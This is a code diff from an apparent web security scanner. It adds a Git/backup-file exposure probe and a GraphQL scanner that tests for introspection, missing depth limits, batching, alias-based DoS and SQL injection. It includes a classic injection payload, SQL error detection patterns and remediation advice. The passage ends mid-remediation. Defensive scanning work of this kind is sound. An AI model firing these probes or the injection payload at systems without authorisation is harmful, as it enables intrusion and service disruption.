| 56 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 57 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 58 |
+
|
| 59 |
+
# ------------------------------------------------------------------
|
| 60 |
+
def run(self) -> list:
|
| 61 |
+
self.log("INFO",
|
| 62 |
+
f"[GitExposure] Probing {len(GIT_PROBES)} VCS/backup paths on {self.target}...")
|
| 63 |
+
|
| 64 |
+
base = self.target.rstrip("/")
|
| 65 |
+
found = 0
|
| 66 |
+
|
| 67 |
+
for path, pattern, display, severity, cvss in GIT_PROBES:
|
| 68 |
+
url = f"{base}{path}"
|
| 69 |
+
body, status = self._probe(url)
|
| 70 |
+
if body is None:
|
| 71 |
+
continue
|
| 72 |
+
|
| 73 |
+
# PHASE 1: Suppress if response is the site's SPA/404 catch-all
|
| 74 |
+
if self._is_baseline(status, body):
|
| 75 |
+
self.log("INFO", f"[GitExposure] SUPPRESSED (baseline match): {url}")
|
| 76 |
+
continue
|
| 77 |
+
|
| 78 |
+
if status == 200 and re.search(pattern, body, re.S | re.I):
|
| 79 |
+
found += 1
|
| 80 |
+
self.log("CRITICAL" if severity == "Critical" else "WARNING",
|
| 81 |
+
f"[GitExposure] EXPOSED: {display} at {url}")
|
| 82 |
+
masked = body[:300].replace("\n", " ")
|
| 83 |
+
self.add_vuln(
|
| 84 |
+
title=f"Exposed VCS/Config File: {display}",
|
| 85 |
+
severity=severity,
|
| 86 |
+
category="Information Disclosure",
|
| 87 |
+
cvss_score=cvss,
|
| 88 |
+
description=(
|
| 89 |
+
f"The file `{url}` is publicly accessible (HTTP 200).\n\n"
|
| 90 |
+
f"**Resource type:** {display}\n\n"
|
| 91 |
+
f"**Preview (first 300 chars):**\n```\n{masked}\n```\n\n"
|
| 92 |
+
"Exposed version control metadata can reveal:\n"
|
| 93 |
+
"- Full source code reconstruction from pack files\n"
|
| 94 |
+
"- Hardcoded credentials and API keys in commit history\n"
|
| 95 |
+
"- Internal infrastructure hostnames and paths\n"
|
| 96 |
+
"- Business logic and proprietary algorithms"
|
| 97 |
+
),
|
| 98 |
+
remediation=(
|
| 99 |
+
f"1. Immediately block access to `{path}` in your web server:\n"
|
| 100 |
+
" Nginx: location ~ /\\.git { deny all; return 404; }\n"
|
| 101 |
+
" Apache: RedirectMatch 404 /\\.git\n"
|
| 102 |
+
"2. Rotate any credentials found in git history immediately.\n"
|
| 103 |
+
"3. Use `git filter-branch` or BFG Repo Cleaner to purge secrets.\n"
|
| 104 |
+
"4. Add VCS directories to your web server deny rules globally.\n"
|
| 105 |
+
"5. Use a WAF rule to block /.git, /.svn, /.env paths."
|
| 106 |
+
),
|
| 107 |
+
)
|
| 108 |
+
elif status == 200:
|
| 109 |
+
self.log("INFO", f"[GitExposure] {url} returned 200 but content mismatch")
|
| 110 |
+
else:
|
| 111 |
+
self.log("INFO", f"[GitExposure] {url} -> HTTP {status}")
|
| 112 |
+
|
| 113 |
+
if found == 0:
|
| 114 |
+
self.log("SUCCESS", "[GitExposure] No exposed VCS/backup files detected")
|
| 115 |
+
else:
|
| 116 |
+
self.log("WARNING", f"[GitExposure] {found} exposed resource(s) found!")
|
| 117 |
+
|
| 118 |
+
return self.vulns
|
| 119 |
+
|
| 120 |
+
# ------------------------------------------------------------------
|
| 121 |
+
def _probe(self, url: str) -> tuple:
|
| 122 |
+
try:
|
| 123 |
+
headers = {"User-Agent": "LarShield/2.0 GitExposure-Probe"}
|
| 124 |
+
headers.update(self.auth_headers or {})
|
| 125 |
+
req = urllib.request.Request(url, headers=headers)
|
| 126 |
+
with urllib.request.urlopen(req, timeout=6, context=self.get_ssl_context()) as r:
|
| 127 |
+
return r.read().decode("utf-8", errors="ignore"), r.status
|
| 128 |
+
except urllib.error.HTTPError as e:
|
| 129 |
+
return "", e.code
|
| 130 |
+
except Exception as e:
|
| 131 |
+
self.log("ERROR", f"[GitExposure] Fetch error: {e}")
|
| 132 |
+
return None, 0
|
backend/scanners/graphql_scanner.py
ADDED
|
@@ -0,0 +1,589 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
graphql_scanner.py — GraphQL Security Scanner
|
| 3 |
+
==============================================
|
| 4 |
+
Advanced GraphQL vulnerability detection module.
|
| 5 |
+
|
| 6 |
+
This scanner:
|
| 7 |
+
1. Identifies GraphQL endpoints
|
| 8 |
+
2. Performs introspection to discover schema
|
| 9 |
+
3. Tests for GraphQL-specific vulnerabilities
|
| 10 |
+
4. Detects information disclosure via introspection
|
| 11 |
+
5. Tests for query depth limiting and DoS vulnerabilities
|
| 12 |
+
6. Checks for authorization bypass in GraphQL queries
|
| 13 |
+
7. Multi-stage detection: probe endpoint, then confirm vulnerabilities
|
| 14 |
+
"""
|
| 15 |
+
import urllib.request, urllib.error, urllib.parse, re, json
|
| 16 |
+
from scanners.base_scanner import BaseScanner
|
| 17 |
+
from utils.fuzzer_engine import ContextAwareFuzzer
|
| 18 |
+
|
| 19 |
+
GRAPHQL_ENDPOINTS = [
|
| 20 |
+
"/graphql", "/api/graphql", "/graphiql", "/api/graphiql",
|
| 21 |
+
"/graphql.php", "/graphql/api", "/v1/graphql", "/v2/graphql",
|
| 22 |
+
"/gql", "/api/gql", "/query", "/api/query",
|
| 23 |
+
"/console/graphql", "/graphql/console", "/playground",
|
| 24 |
+
"/api/v1/graphql", "/api/v2/graphql",
|
| 25 |
+
]
|
| 26 |
+
|
| 27 |
+
GRAPHQL_INDICATORS = [
|
| 28 |
+
r"graphql", r"GraphQL", r"query\s+\w+", r"mutation\s+\w+",
|
| 29 |
+
r"subscription\s+\w+", r"__schema", r"__type", r"__typename",
|
| 30 |
+
]
|
| 31 |
+
|
| 32 |
+
INTROSPECTION_QUERY = """
|
| 33 |
+
{
|
| 34 |
+
__schema {
|
| 35 |
+
queryType { name fields { name type { name kind } } }
|
| 36 |
+
mutationType { name fields { name type { name kind } } }
|
| 37 |
+
subscriptionType { name fields { name type { name kind } } }
|
| 38 |
+
types { name kind description fields { name type { name kind } } }
|
| 39 |
+
}
|
| 40 |
+
}
|
| 41 |
+
"""
|
| 42 |
+
|
| 43 |
+
BATCHING_QUERY = """
|
| 44 |
+
[
|
| 45 |
+
{ "query": "{ __typename }" },
|
| 46 |
+
{ "query": "{ __typename }" },
|
| 47 |
+
{ "query": "{ __typename }" },
|
| 48 |
+
{ "query": "{ __typename }" },
|
| 49 |
+
{ "query": "{ __typename }" }
|
| 50 |
+
]
|
| 51 |
+
"""
|
| 52 |
+
|
| 53 |
+
DEEP_NESTED_QUERY = """
|
| 54 |
+
{
|
| 55 |
+
__schema {
|
| 56 |
+
queryType { fields { name type { fields { name type { fields { name type { fields { name type { fields { name } } } } } } } } }
|
| 57 |
+
}
|
| 58 |
+
}
|
| 59 |
+
"""
|
| 60 |
+
|
| 61 |
+
ALIAS_QUERY = """
|
| 62 |
+
query {
|
| 63 |
+
a1: __typename
|
| 64 |
+
a2: __typename
|
| 65 |
+
a3: __typename
|
| 66 |
+
a4: __typename
|
| 67 |
+
a5: __typename
|
| 68 |
+
a6: __typename
|
| 69 |
+
a7: __typename
|
| 70 |
+
a8: __typename
|
| 71 |
+
a9: __typename
|
| 72 |
+
a10: __typename
|
| 73 |
+
}
|
| 74 |
+
"""
|
| 75 |
+
|
| 76 |
+
SQLI_GQL_QUERY = """
|
| 77 |
+
query {
|
| 78 |
+
__typename
|
| 79 |
+
search(query: "' OR '1'='1")
|
| 80 |
+
}
|
| 81 |
+
"""
|
| 82 |
+
|
| 83 |
+
TEST_QUERIES = {
|
| 84 |
+
"introspection": INTROSPECTION_QUERY,
|
| 85 |
+
"basic_query": "{ __typename }",
|
| 86 |
+
"nested_query": DEEP_NESTED_QUERY,
|
| 87 |
+
"mutation_test": "mutation { __typename }",
|
| 88 |
+
"batching": BATCHING_QUERY,
|
| 89 |
+
"alias_spam": ALIAS_QUERY,
|
| 90 |
+
"sqli_test": SQLI_GQL_QUERY,
|
| 91 |
+
}
|
| 92 |
+
|
| 93 |
+
ERROR_PATTERNS = [
|
| 94 |
+
r"GraphQL error", r"Cannot query field", r"Cannot return null",
|
| 95 |
+
r"Variable", r"Syntax Error", r"Parse error", r"Validation error",
|
| 96 |
+
]
|
| 97 |
+
|
| 98 |
+
SQLI_ERROR_PATTERNS = [
|
| 99 |
+
r"SQL syntax", r"mysql_fetch", r"ORA-[0-9]{5}", r"PostgreSQL",
|
| 100 |
+
r"SQLite", r"unclosed quotation mark", r"quoted string not properly terminated",
|
| 101 |
+
r"division by zero", r"syntax error at or near", r"Unclosed",
|
| 102 |
+
]
|
| 103 |
+
|
| 104 |
+
|
| 105 |
+
class GraphqlScanner(BaseScanner):
|
| 106 |
+
SCANNER_NAME = "GraphQL Security Scanner"
|
| 107 |
+
_SCANNER_KEY = "graphql"
|
| 108 |
+
|
| 109 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 110 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 111 |
+
self._headers = {
|
| 112 |
+
"User-Agent": "LarShield/2.0 GraphQL Scanner",
|
| 113 |
+
"Content-Type": "application/json",
|
| 114 |
+
"Accept": "application/json",
|
| 115 |
+
}
|
| 116 |
+
if self.auth_headers:
|
| 117 |
+
self._headers.update(self.auth_headers)
|
| 118 |
+
self._tested_endpoints = 0
|
| 119 |
+
self._vulns_found = 0
|
| 120 |
+
self._fuzzer = ContextAwareFuzzer(self._gql_fuzzer_req)
|
| 121 |
+
|
| 122 |
+
def _gql_fuzzer_req(self, url, params, headers=None):
|
| 123 |
+
variables = {}
|
| 124 |
+
for key, val in params.items():
|
| 125 |
+
variables[key] = val
|
| 126 |
+
payload_dict = {"query": "query($vars: JSON!) { __typename }", "variables": variables}
|
| 127 |
+
encoded = json.dumps(payload_dict).encode("utf-8")
|
| 128 |
+
merged = {"Content-Type": "application/json"}
|
| 129 |
+
if headers:
|
| 130 |
+
merged.update(headers)
|
| 131 |
+
body, status = self._make_request(url, method="POST", data=encoded, headers=merged, timeout=8)
|
| 132 |
+
return body or "", status
|
| 133 |
+
|
| 134 |
+
def _make_gql_request(self, url, query, variables=None, timeout=8):
|
| 135 |
+
"""Send a GraphQL query and return the response."""
|
| 136 |
+
payload = {"query": query}
|
| 137 |
+
if variables:
|
| 138 |
+
payload["variables"] = variables
|
| 139 |
+
encoded = json.dumps(payload).encode("utf-8")
|
| 140 |
+
body, status = self._make_request(
|
| 141 |
+
url, method="POST", data=encoded,
|
| 142 |
+
headers=self._headers, timeout=timeout,
|
| 143 |
+
)
|
| 144 |
+
return body, status
|
| 145 |
+
|
| 146 |
+
def _detect_graphql_endpoint(self, url):
|
| 147 |
+
"""Check if a URL is a GraphQL endpoint."""
|
| 148 |
+
try:
|
| 149 |
+
body, status = self._make_request(url)
|
| 150 |
+
if body:
|
| 151 |
+
for indicator in GRAPHQL_INDICATORS:
|
| 152 |
+
if re.search(indicator, body, re.IGNORECASE):
|
| 153 |
+
return True, "GET"
|
| 154 |
+
|
| 155 |
+
body, status = self._make_gql_request(url, TEST_QUERIES["basic_query"])
|
| 156 |
+
if body:
|
| 157 |
+
try:
|
| 158 |
+
response_json = json.loads(body)
|
| 159 |
+
if "data" in response_json or "errors" in response_json:
|
| 160 |
+
return True, "POST"
|
| 161 |
+
except json.JSONDecodeError:
|
| 162 |
+
pass
|
| 163 |
+
|
| 164 |
+
for indicator in GRAPHQL_INDICATORS:
|
| 165 |
+
if re.search(indicator, body, re.IGNORECASE):
|
| 166 |
+
return True, "POST"
|
| 167 |
+
except Exception as e:
|
| 168 |
+
self.log("ERROR", f"[GraphQL] Error detecting endpoint {url}: {e}")
|
| 169 |
+
|
| 170 |
+
return False, None
|
| 171 |
+
|
| 172 |
+
def _test_introspection(self, url):
|
| 173 |
+
"""Test if introspection is enabled (information disclosure)."""
|
| 174 |
+
try:
|
| 175 |
+
body, status = self._make_gql_request(url, TEST_QUERIES["introspection"])
|
| 176 |
+
if not body:
|
| 177 |
+
return False
|
| 178 |
+
|
| 179 |
+
try:
|
| 180 |
+
response_json = json.loads(body)
|
| 181 |
+
if "data" in response_json:
|
| 182 |
+
data = response_json["data"]
|
| 183 |
+
if "__schema" in data or "__type" in data:
|
| 184 |
+
self._vulns_found += 1
|
| 185 |
+
self.log("CRITICAL", "[GraphQL] Introspection is ENABLED — Full schema disclosure!")
|
| 186 |
+
|
| 187 |
+
schema = data.get("__schema", {})
|
| 188 |
+
types = schema.get("types", [])
|
| 189 |
+
query_fields = schema.get("queryType", {}).get("fields", [])
|
| 190 |
+
mutation_fields = schema.get("mutationType", {}).get("fields", [])
|
| 191 |
+
|
| 192 |
+
self.log("INFO", f"[GraphQL] Schema contains {len(types)} types, "
|
| 193 |
+
f"{len(query_fields)} query fields, {len(mutation_fields)} mutation fields")
|
| 194 |
+
|
| 195 |
+
self.add_vuln(
|
| 196 |
+
title="GraphQL — Introspection Enabled",
|
| 197 |
+
severity="High",
|
| 198 |
+
category="Information Disclosure",
|
| 199 |
+
cvss_score=7.5,
|
| 200 |
+
description=(
|
| 201 |
+
f"GraphQL introspection is enabled at {url}.\n"
|
| 202 |
+
f"Discovered schema contains:\n"
|
| 203 |
+
f"- {len(types)} types\n"
|
| 204 |
+
f"- {len(query_fields)} query fields\n"
|
| 205 |
+
f"- {len(mutation_fields)} mutation fields\n\n"
|
| 206 |
+
f"Introspection exposes the entire GraphQL schema, including "
|
| 207 |
+
f"all queries, mutations, types, and their relationships. "
|
| 208 |
+
f"This information can be used by attackers to craft targeted attacks."
|
| 209 |
+
),
|
| 210 |
+
remediation=(
|
| 211 |
+
"1. DISABLE introspection in production:\n"
|
| 212 |
+
" - Apollo Server: introspection: false in config\n"
|
| 213 |
+
" - GraphQL Yoga: disableIntrospection: true\n"
|
| 214 |
+
" - Graphene: disable_introspection = True\n"
|
| 215 |
+
"2. Use environment-specific configuration\n"
|
| 216 |
+
"3. Implement proper authentication and authorization\n"
|
| 217 |
+
"4. Monitor for introspection queries in logs"
|
| 218 |
+
),
|
| 219 |
+
evidence=json.dumps({k: v for k, v in data.items() if k == "__schema"}, indent=2)[:500],
|
| 220 |
+
payload="Introspection query (see evidence)",
|
| 221 |
+
request_details=f"URL: {url}",
|
| 222 |
+
response_details=f"Schema: {len(types)} types, {len(query_fields)} queries, {len(mutation_fields)} mutations",
|
| 223 |
+
confidence="Confirmed",
|
| 224 |
+
)
|
| 225 |
+
return True
|
| 226 |
+
except json.JSONDecodeError:
|
| 227 |
+
pass
|
| 228 |
+
except Exception as e:
|
| 229 |
+
self.log("ERROR", f"[GraphQL] Error testing introspection: {e}")
|
| 230 |
+
|
| 231 |
+
return False
|
| 232 |
+
|
| 233 |
+
def _test_query_depth(self, url):
|
| 234 |
+
"""Test for query depth limiting (DoS prevention)."""
|
| 235 |
+
try:
|
| 236 |
+
body, status = self._make_gql_request(url, TEST_QUERIES["nested_query"], timeout=15)
|
| 237 |
+
if not body:
|
| 238 |
+
return False
|
| 239 |
+
|
| 240 |
+
try:
|
| 241 |
+
response_json = json.loads(body)
|
| 242 |
+
if "data" in response_json and response_json["data"]:
|
| 243 |
+
self.log("WARNING", "[GraphQL] Query depth limiting may not be configured")
|
| 244 |
+
|
| 245 |
+
self.add_vuln(
|
| 246 |
+
title="GraphQL — Missing Query Depth Limiting",
|
| 247 |
+
severity="Medium",
|
| 248 |
+
category="Denial of Service",
|
| 249 |
+
cvss_score=5.3,
|
| 250 |
+
description=(
|
| 251 |
+
f"GraphQL endpoint at {url} accepted deeply nested queries without depth limiting. "
|
| 252 |
+
"This can lead to denial of service attacks through complex nested queries."
|
| 253 |
+
),
|
| 254 |
+
remediation=(
|
| 255 |
+
"1. IMPLEMENT query depth limiting:\n"
|
| 256 |
+
" - Apollo Server: maxDepth or validation rules\n"
|
| 257 |
+
" - Set reasonable depth limits (e.g., 5-10 levels)\n"
|
| 258 |
+
"2. Implement query complexity analysis\n"
|
| 259 |
+
"3. Use query whitelisting for production"
|
| 260 |
+
),
|
| 261 |
+
evidence="Deeply nested query returned data successfully",
|
| 262 |
+
payload=TEST_QUERIES["nested_query"][:200],
|
| 263 |
+
request_details=f"URL: {url}",
|
| 264 |
+
response_details="Query executed without depth limit enforcement",
|
| 265 |
+
confidence="Confirmed",
|
| 266 |
+
)
|
| 267 |
+
return True
|
| 268 |
+
except json.JSONDecodeError:
|
| 269 |
+
pass
|
| 270 |
+
except Exception as e:
|
| 271 |
+
self.log("ERROR", f"[GraphQL] Error testing query depth: {e}")
|
| 272 |
+
|
| 273 |
+
return False
|
| 274 |
+
|
| 275 |
+
def _test_batching_attack(self, url):
|
| 276 |
+
"""Test for batching attack vulnerabilities (batched queries bypassing rate limits)."""
|
| 277 |
+
try:
|
| 278 |
+
body, status = self._make_gql_request(
|
| 279 |
+
url, TEST_QUERIES["batching"],
|
| 280 |
+
timeout=15,
|
| 281 |
+
)
|
| 282 |
+
if not body:
|
| 283 |
+
return False
|
| 284 |
+
|
| 285 |
+
try:
|
| 286 |
+
response_json = json.loads(body)
|
| 287 |
+
if isinstance(response_json, list) and len(response_json) >= 5:
|
| 288 |
+
self._vulns_found += 1
|
| 289 |
+
self.log("WARNING",
|
| 290 |
+
f"[GraphQL] Batching is supported — {len(response_json)} batched queries accepted at {url}")
|
| 291 |
+
|
| 292 |
+
self.add_vuln(
|
| 293 |
+
title="GraphQL — Batching Attack Possible",
|
| 294 |
+
severity="High",
|
| 295 |
+
category="Denial of Service",
|
| 296 |
+
cvss_score=7.5,
|
| 297 |
+
description=(
|
| 298 |
+
f"GraphQL endpoint at {url} supports query batching.\n"
|
| 299 |
+
f"Accepted {len(response_json)} batched queries in a single request.\n\n"
|
| 300 |
+
f"Impact: Attackers can bypass rate limiting by sending multiple "
|
| 301 |
+
f"operations in a single request, making brute-force attacks, "
|
| 302 |
+
f"enumeration, and DoS more effective."
|
| 303 |
+
),
|
| 304 |
+
remediation=(
|
| 305 |
+
"1. Implement rate limiting per operation, not per request.\n"
|
| 306 |
+
"2. Limit the number of operations allowed per batch request.\n"
|
| 307 |
+
"3. Use cost-based analysis to limit batch complexity.\n"
|
| 308 |
+
"4. Consider disabling batching if not required."
|
| 309 |
+
),
|
| 310 |
+
evidence=f"Batched query returned {len(response_json)} results",
|
| 311 |
+
payload="Batched query with 5 operations",
|
| 312 |
+
request_details=f"URL: {url}",
|
| 313 |
+
response_details=f"{len(response_json)} operations accepted",
|
| 314 |
+
confidence="Confirmed",
|
| 315 |
+
)
|
| 316 |
+
return True
|
| 317 |
+
except (json.JSONDecodeError, TypeError):
|
| 318 |
+
pass
|
| 319 |
+
except Exception as e:
|
| 320 |
+
self.log("ERROR", f"[GraphQL] Error testing batching attack: {e}")
|
| 321 |
+
|
| 322 |
+
return False
|
| 323 |
+
|
| 324 |
+
def _test_alias_dos(self, url):
|
| 325 |
+
"""Test for alias-based DoS attacks (many aliases consuming resources)."""
|
| 326 |
+
try:
|
| 327 |
+
body, status = self._make_gql_request(url, TEST_QUERIES["alias_spam"], timeout=15)
|
| 328 |
+
if not body:
|
| 329 |
+
return False
|
| 330 |
+
|
| 331 |
+
try:
|
| 332 |
+
response_json = json.loads(body)
|
| 333 |
+
if "data" in response_json:
|
| 334 |
+
data = response_json["data"]
|
| 335 |
+
alias_count = sum(1 for k in data if k.startswith("a"))
|
| 336 |
+
if alias_count >= 8:
|
| 337 |
+
self._vulns_found += 1
|
| 338 |
+
self.log("WARNING",
|
| 339 |
+
f"[GraphQL] Alias-based DoS possible at {url} — {alias_count} aliases accepted")
|
| 340 |
+
|
| 341 |
+
self.add_vuln(
|
| 342 |
+
title="GraphQL — Alias-Based DoS Possible",
|
| 343 |
+
severity="Medium",
|
| 344 |
+
category="Denial of Service",
|
| 345 |
+
cvss_score=5.0,
|
| 346 |
+
description=(
|
| 347 |
+
f"GraphQL endpoint at {url} accepted {alias_count} aliases in a single query.\n"
|
| 348 |
+
f"Attackers can use many aliases to amplify resource consumption.\n\n"
|
| 349 |
+
f"Aliases allow the same field to be queried multiple times under different names, "
|
| 350 |
+
f"bypassing query depth limits while consuming significant server resources."
|
| 351 |
+
),
|
| 352 |
+
remediation=(
|
| 353 |
+
"1. Implement query complexity/cost analysis.\n"
|
| 354 |
+
"2. Limit the number of aliases allowed per query.\n"
|
| 355 |
+
"3. Use rate limiting based on field resolution cost.\n"
|
| 356 |
+
"4. Consider using persisted queries in production."
|
| 357 |
+
),
|
| 358 |
+
evidence=f"{alias_count} aliases accepted",
|
| 359 |
+
payload="Alias-based amplification query",
|
| 360 |
+
request_details=f"URL: {url}",
|
| 361 |
+
response_details=f"Accepted {alias_count} aliases",
|
| 362 |
+
confidence="Confirmed",
|
| 363 |
+
)
|
| 364 |
+
return True
|
| 365 |
+
except json.JSONDecodeError:
|
| 366 |
+
pass
|
| 367 |
+
except Exception as e:
|
| 368 |
+
self.log("ERROR", f"[GraphQL] Error testing alias DoS: {e}")
|
| 369 |
+
|
| 370 |
+
return False
|
| 371 |
+
|
| 372 |
+
def _test_graphql_sqli(self, url):
|
| 373 |
+
"""Test for SQL injection via GraphQL query parameters."""
|
| 374 |
+
try:
|
| 375 |
+
sqli_query = TEST_QUERIES["sqli_test"]
|
| 376 |
+
body, status = self._make_gql_request(url, sqli_query, timeout=15)
|
| 377 |
+
if not body:
|
| 378 |
+
return False
|
| 379 |
+
|
| 380 |
+
try:
|
| 381 |
+
response_json = json.loads(body)
|
| 382 |
+
# Check for SQL errors in response
|
| 383 |
+
errors = response_json.get("errors", [])
|
| 384 |
+
error_str = json.dumps(errors)
|
| 385 |
+
for pattern in SQLI_ERROR_PATTERNS:
|
| 386 |
+
if re.search(pattern, error_str, re.IGNORECASE):
|
| 387 |
+
self._vulns_found += 1
|
| 388 |
+
self.log("CRITICAL",
|
| 389 |
+
f"[GraphQL] SQL Injection via GraphQL at {url}! "
|
| 390 |
+
f"Pattern matched: {pattern}")
|
| 391 |
+
|
| 392 |
+
self.add_vuln(
|
| 393 |
+
title="GraphQL — SQL Injection via GraphQL Parameters",
|
| 394 |
+
severity="Critical",
|
| 395 |
+
category="Injection",
|
| 396 |
+
cvss_score=9.8,
|
| 397 |
+
description=(
|
| 398 |
+
f"A SQL injection vulnerability was detected via GraphQL at {url}.\n"
|
| 399 |
+
f"The GraphQL endpoint appears to pass user input directly to SQL queries.\n"
|
| 400 |
+
f"Pattern matched: {pattern}\n\n"
|
| 401 |
+
f"Impact: Attackers can extract, modify, or delete database contents, "
|
| 402 |
+
f"potentially leading to complete database compromise."
|
| 403 |
+
),
|
| 404 |
+
remediation=(
|
| 405 |
+
"1. Use parameterized queries / prepared statements.\n"
|
| 406 |
+
"2. Implement input validation and sanitization.\n"
|
| 407 |
+
"3. Use an ORM/ODM with proper injection protections.\n"
